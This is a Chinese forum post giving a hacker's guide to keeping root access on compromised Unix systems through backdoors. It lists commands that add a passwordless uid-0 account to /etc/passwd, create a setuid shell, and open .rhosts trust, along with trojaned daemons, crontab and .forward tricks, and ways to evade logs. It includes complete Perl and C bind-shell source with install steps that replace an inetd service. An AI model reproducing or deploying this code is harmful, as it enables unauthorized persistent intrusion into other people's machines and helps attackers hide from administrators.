找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献:
* t7 r& B+ E, y2 |& FArticle: backdoor from The Infinity Concept Issue II 8 z; ^# r* J+ S, R4 d! {
Src: b4b0.c by b4b0
) K* j# f  p0 q1 c  oSrc: daemonsh.pl by van Hauser / [THC] in 1997' ' X, u! z% P, F9 `7 \) X& P/ e. V0 L

# O; J. J; k0 s--
. G9 Q) }3 B6 E, Q+ E% T) T9 X
6 s# j$ l( A* ?1 l# m千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
! Z& {9 M# H3 x/ g' G1 F6 q" T--
0 T9 P- y0 ^& q) P创建后门的方法如下:
4 Z* ]" L& i- c- n- % n4 V: `9 j7 C. _; a( N; D
1. setuid
3 k+ q& H+ Y& _- t( H: j0 j#cp /bin/sh /tmp/.backdoor
  d( _& B' @1 l9 a! x8 X#chmod u+s /tmp/.backdoor 9 H, R; L2 `9 X  m; s: N% p
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手;
$ ?) N- g+ t2 ^8 N+ b-
; t- ~8 p1 Y+ s2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手; - Z2 m& C& P) P4 e' M% o
-
0 ]& Y$ Z% h/ n- M3.echo "+ zer9">>/.rhosts # `' V& y$ @- k% M
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的.
& R' ~- P5 m( e4 [2 h- Z前提是目标的port 512or513or514 opening. ; c6 g9 [/ w8 M8 s2 f
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; + X# G1 x2 R) [" ]
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys; , c- _, j! U$ r- E. o
-   R9 ]3 B% S2 D
4.modify sendmail.cf 增加一个"wiz" 命令;
; e+ M8 j% n6 b4 q; q& N; j" vusage: 1 H4 K3 e% }$ Q" r
telnet target 25 [enter]
+ Q# p8 b# ]) h2 D% }wiz[enter] + E- n- M6 D* q9 X; A- n: g
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞; 9 H4 i6 F% z" n* M6 p9 R
-
6 c; ~: `) }7 R& m8 y5. crack suck as inetd,login,... & P0 e  i4 k- T7 H( l
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... 1 V" F- I9 V5 u
hahhahha,我又做梦了:)
' D- z7 _' o4 P% }2 x, ?-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则;
- c5 j& ]' I" `+ Z7 v& S-   A" z: j( x# N
6.ping rem0te backd00r # ?/ ?+ V& Y: {0 Z8 x
即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度) ! X. {) r; i5 x6 a% i3 ^  D% K
- ) n% L, U3 S6 Z1 \
7.rem0te shell
. S- i% y1 O/ {! R! q/ ^我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现
4 k& G% N8 s9 r: a/ U) u你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来. $ c/ g5 ~* Z  C! O8 _1 z/ L
bindshell的实现有两种: 7 B) h5 e( A9 r* l1 y  l; R) u* L( ~5 K
a.
# V# @6 v% [+ Z( X. A替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell,
7 M) i- v) h/ R1 n. O$ ~b. 接受 connect 后,在高端spam出一个shell;
; Q8 }" Q$ ]' v, M(更安全 :) 7 N4 b; u! {7 f
下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4)
! |4 i7 i, J+ O6 O---
: G, p. N) S% J$ f5 a4 p8 Jperl 版安装方法:
* `% a, z* Y& g3 V: V% V* L###无须编译!!只要目标机上有perl支持就okay! , e" t! o% T" D
如何判断有无perl: $/>perl [enter]
8 [2 m8 e* {' s* P  c: V  I* H( L1 ]$ y1 Y5 W0 @( w, @
[ctrl-c] 4 R5 E$ b$ \0 |
$/>
# d' s% z$ V: S4 B7 ]; q, ~1 V-
+ w" P& w9 j2 W0 g2 s' W如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面
' j( @( Z' e  v4 b的方法有很大的危险性, exit(-1) please;
7 ?$ ~, G: U1 B/ H5 ^- 8 V" q: l6 @% v- \; e7 O/ D
首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后 8 d, B4 l" N& Y
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))
/ z9 A: O& ]% Icp in.rexecd /usr/sbin/in.rexecd
2 l. e4 o: ]- d9 ^& V- z7 J$ O然后 ps -aux|grep inetd;kill -HUP id(by inetd); 1 M' i) _' e! M: c" s! W/ o
okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
: _9 ]% g" u' ^7 B1 B0 p/ J-
  |8 Y& ~; ~$ Q  o0 OUsage: nc target (such as 512) / y5 t: K% S$ r8 m' I/ W2 S) J
[enter] 8 p+ y' c; n2 P
ur passwd [enter]
6 Y$ d9 C/ t4 w* Q(then u login in...:) 2 _! o7 }0 L# R2 @8 j" b' U

6 F; v/ J  x+ M2 y----Cut Here------------------------------------------
& s; S- d) F$ v( H6 R  q8 o8 o# r
#!/usr/bin/perl
6 R$ n' s( D' Y) v0 J( @. O+ ^, R#
! R2 ~4 v3 D' m/ E$ m# BEST
) K8 K4 e5 @5 Y5 P+ i9 O# SIMPLE # N7 T$ ^; H0 Z9 z3 c5 `7 Q- ?
# rem0te bind shell
; v% Y* G9 T1 M5 k4 |: U3 W#[perl version only tcp]
  h* B: ?' T& A$ q/ d# by 2 `+ s. a- a  l% Q3 i: F
# zer9[FTT] 0 g' g8 s2 Z+ @
# zer9@21cn.com   `7 P, e! V- c& X3 @% s8 C
#passed on allmost unix 3 {) m, a1 o& ~3 _+ v- @1 ?
#greet to:van Hauser/[THC] 9 _& O% v& p2 i
# for his daemonshell.pl
" s$ H5 k( E" Z# L0 Y#
# a& k1 @8 V5 n" I$ ^+ W( e' j  S$SHELL="/bin/csh -i";
5 K3 ~3 u  O+ U#d3f4ult p4sswd 1s "wh04r3u" (no quote);
3 X& \% z; f, z" p, `. ]0 n3 j$PASSWORD="BifqmATb6D5so"; 2 q/ E, j& P4 u$ |1 @
: e' W$ O9 }% q
if ($PASSWORD) {
9 C& p( s& [* n: Q9 s8 zchop($pass=);
  F* J! x) ]5 ^3 Yif (crypt($pass, $PASSWORD) ne $PASSWORD) {
0 L6 E8 [; P% p6 i/ g  @exit 0; 7 |9 F. A% ^. P8 b( ~# I
}
( s  h2 M' m- ]) Iexec $SHELL ; : n. V) O) W1 x4 u$ b
exit 0;
) [/ y8 M: i/ n+ v* d* a} 0 A0 _# h( |- ?& F; o8 `1 E9 R

; Z* w. l# M6 K----Cut Here--------------------------------------------
& ?# x5 c+ @: n4 n
& Y" Q, ~- ?8 h
2 c) }0 u+ p8 |9 s, k4 z8 ^! ~; N' j. p

, d7 I; I$ G8 B下面是一个for gnuc 的bindshell,first cut it,save as 9 ~2 {6 q% _" S' D0 W/ m
backdoor.c ,then cc backdoor.c -o backdoor
* M* [4 D; e/ m, T) E, f- x; e6 }other action just l1ke before; / P4 ?& B4 m1 \- q+ O
Usage: (exp:binding to in.rlogind (513)) 8 I" H+ ]1 ^+ O: F  E+ K
nc target 513 //spam a shell on the high port;
/ Y- Q9 N" q) H$ i$ p; Z( Bnc target 54321
- u1 n3 g7 C1 Gur passwd
* w( ~  m0 H5 Y0 t6 Q! Q; r, J(then u coming in...)
4 H5 S' A0 T, r4 K8 B/ v, \/ n0 m
3 _* O$ V/ ^; Q( q. a, q
5 M8 Y  \' u/ _/ G# S' F9 s----Cut Here-------------------------------------
9 X2 I7 ~9 x, I
# O( K, M; `$ M( I+ O0 d. y/* ; X, `/ Q2 F( _
* [ b i n d - s h e l l ]
2 D2 c$ ~1 }; C, F* by 9 S; D, H% K& w: ?+ ^; @. [% ]
* zer9[FTT]
- ^( @$ n( T) M: G6 e7 b* zer9@21cn.com
1 V; ?9 j; p) g+ w5 c. c" R) m*test on slackware 2.0.33&irix6.4(cc)
; U# q, T2 p* ?" h$ k1 V*cc backdoor.c -o backdoor 8 h$ [2 y/ H7 }- ]7 K  Y7 l
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m " Q1 W. W* C) x/ Q) ?$ N; Y; b8 w! j/ J/ L
*c0mm4nd l1n3: backdoor [port] 2 e7 ~5 z+ ^; _
*d3fault p0rt 1s: 54321
; k, Z0 i" j# {- f*greets to b4b0 for his b4b0.c
( |% [; A3 v7 X( p1 R9 [*m4yb3 1 c0uld s4y: 8 {0 Z: P' Z& M) n' r" M9 e+ U
*"0k,b4b0.l1st3n c4r3fully;" ( n0 ]* k/ [4 Q5 P/ f
*s0rry,just a joke. 7 O0 p, f& E) Y6 q2 p0 D
* . e* r# n0 Z) C/ s- }: W
*/
0 ]" a% r( J% F. s
3 u& K( Y3 ^. m3 u5 T#include
# q* R3 S' r6 j4 I2 b& T% q8 {8 J#include
3 U5 {& Y; p9 q/ B5 N, h7 {$ {#include 8 I, n4 }1 a4 K7 [1 ~* V1 w# `
#include & f- v2 D' ?7 X. }) _: s# v
#include : v  ~( S" e, x/ U) A# M
#include
( b6 l3 }& D+ m: R& c. {/ H#include - C# g' @: Q3 g0 @& P5 ~
( d' H0 V5 h& K$ L$ Y  h

: |* o% `% J4 y/ \4 @, N2 l* A#define PassWord "k1n90fth3w0rld"
* g1 a2 A( v; }/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ , c3 E. W. r+ g3 V1 w% H% d- c
& ]0 t7 A/ K$ y. V) ?
#define DefaultPort 54321
- V6 r1 ~9 W& y! w! o- x& k/* d3f4ult b1nd1ng p0rt */
# k: D1 c& b) [% ?3 T9 [/ O+ _) ^' z. Y- c
int main(int argc,char **argv) ( k0 Z3 A2 P9 y- ]4 B
{ $ n! Z- g' n9 E& Z& w) k2 ^
int s,in_s; / i2 d) x  M' J2 N. D! d
struct sockaddr_in server,client;
+ }- u7 B& d( ^int client_len,bindport; ! ]% _% B6 F9 {5 b- F# K' K
char recvbuf[1000];
6 Y+ F3 q& E& V3 \8 z9 s. k  u* G* P' w
, \: e  u6 z, K/ l0 a/ bif(argc!=2) bindport=DefaultPort;
9 ]0 T6 l  m* [0 _" pelse   D- N( r5 {" T; R; A, D
bindport=atoi(argv[1]); 6 Z) \' |/ C! p+ M8 u6 g6 h9 I4 f8 D$ T0 F
if((s=socket(AF_INET,SOCK_STREAM,0))<0)
6 m+ r2 I9 V8 g2 {{ ) a0 z. _0 B" ]
perror("socket");
% H# w* R+ G6 Z" X5 h4 oreturn -1; ! C" @$ P. O  D9 X* J3 O2 N3 P
} ; a5 `4 D$ E5 ?% Z. {7 j: w- B
bzero((char *)&server,sizeof(server));
9 }4 a3 p7 A( ^! O9 Q2 ]: h4 @2 Abzero((char *)&client,sizeof(client)); 7 K  r5 I- r! U$ M
bzero(recvbuf,sizeof(recvbuf));
% d: ]+ W1 L0 t5 @  hserver.sin_family=AF_INET; 4 i) h- G7 P9 H6 u; x5 y+ O0 s
server.sin_port=htons(bindport);
, @/ a. R$ J* E8 d% ~server.sin_addr.s_addr=INADDR_ANY;
7 \  Z/ f: y9 o" g5 G5 e9 Iif(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
) S% S; P# }/ d8 p8 j+ q3 d{
' o& C3 D' b3 u! f2 @perror("bind"); 3 N$ I2 i, a0 b+ Z+ G
return -1;
$ G  t0 ~# z! S1 b}
: S4 r2 _; P0 _% W% cif(listen(s,3)!=0)
- L9 V2 `. e1 H, y{ 2 c5 [. X0 ~% o+ O0 Q  S% Z  Y& z- Z6 @
perror("listen");
, i% N' C/ G* F6 f  r6 wreturn -1; ) d0 R- e  l( T5 R
} , x0 n5 \1 ?+ f9 X( e3 J  w' f& x
client_len=sizeof(client); ! g1 ]# t; q- F/ ^! Q4 x- @, t' W
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
" T/ A( w' I9 l1 z+ x6 W' I{ & M! A6 M9 O5 N$ @3 D
perror("accept"); ) D2 N$ `' S+ f- u; t
return -1; 4 A6 J  L. [$ q
}
. M8 I8 _- H5 f" Jrecv(in_s,recvbuf,sizeof(recvbuf),0); ) s. @# N2 U9 d6 M3 k7 B
sleep(1); # T# h3 ?' x: G% W6 X; o$ V
if((strlen(recvbuf)-1)==strlen(PassWord))
/ O6 ]  w3 d1 ^/ {- `1 d8 `* |if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
0 D" }' s- a% J. S: C: D7 c{ : ?/ V* `9 R# t" ]* _! j, t* a
send(in_s,"0k4y! c0m1ng 1n...\n",25,0); / u- i3 k& n8 Z4 |) O' m0 ]
close(0);close(1);close(2);
# `4 y- p( {/ l2 H  ldup2(in_s,0);dup2(in_s,1);dup2(in_s,2); . G0 G- D- \* t$ i2 [' l" Y
execl("/bin/csh","/bin/csh",(char *)0); ( ^/ R. E+ K& m
}
( b/ d, u  x) x1 Uclose(s); 2 F( c# X0 j1 O, H# f
close(in_s);
  H% V6 H5 u+ c8 f7 @return 0; 5 N. f3 d& _' n  M( d9 [; D( O
} 1 C1 H) [" Z  t. X9 s; u
) f9 G( `& Z3 k' x  i, l
----Cut Here------------------------------------------------- : Y3 c3 A4 T: ?

6 D8 g, S- z8 t) `) I" q7 T用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入:
0 g( m' [! k- `3 ybackdoor &
6 X# Z) N+ w0 T- d* L但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了?
7 r6 L6 N5 V, @7 [& T-- * A$ I1 |, c& M9 {- I" ]# f0 d
8.第八种武器就是 crontab
, v6 ~* C& v! N+ z0 J  f9 w$ ~我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root) 1 j4 O" S$ a) k, U7 `5 z
的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍; ; [, u$ s5 l' i/ r
-- % k3 [, v# t8 J3 C1 O9 ~
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。 5 u) b/ F* s+ B# m0 r- ?4 Q/ g
--
% b0 l' |1 N. |  J10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看; * f9 Y, Z1 a" m& ?' D5 `4 [$ K# |$ y
-- # d- {2 \+ j" V: u
11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。 + C; j% \( \" r9 u% }
* X8 w1 |9 R0 j
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-3-16 16:25

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表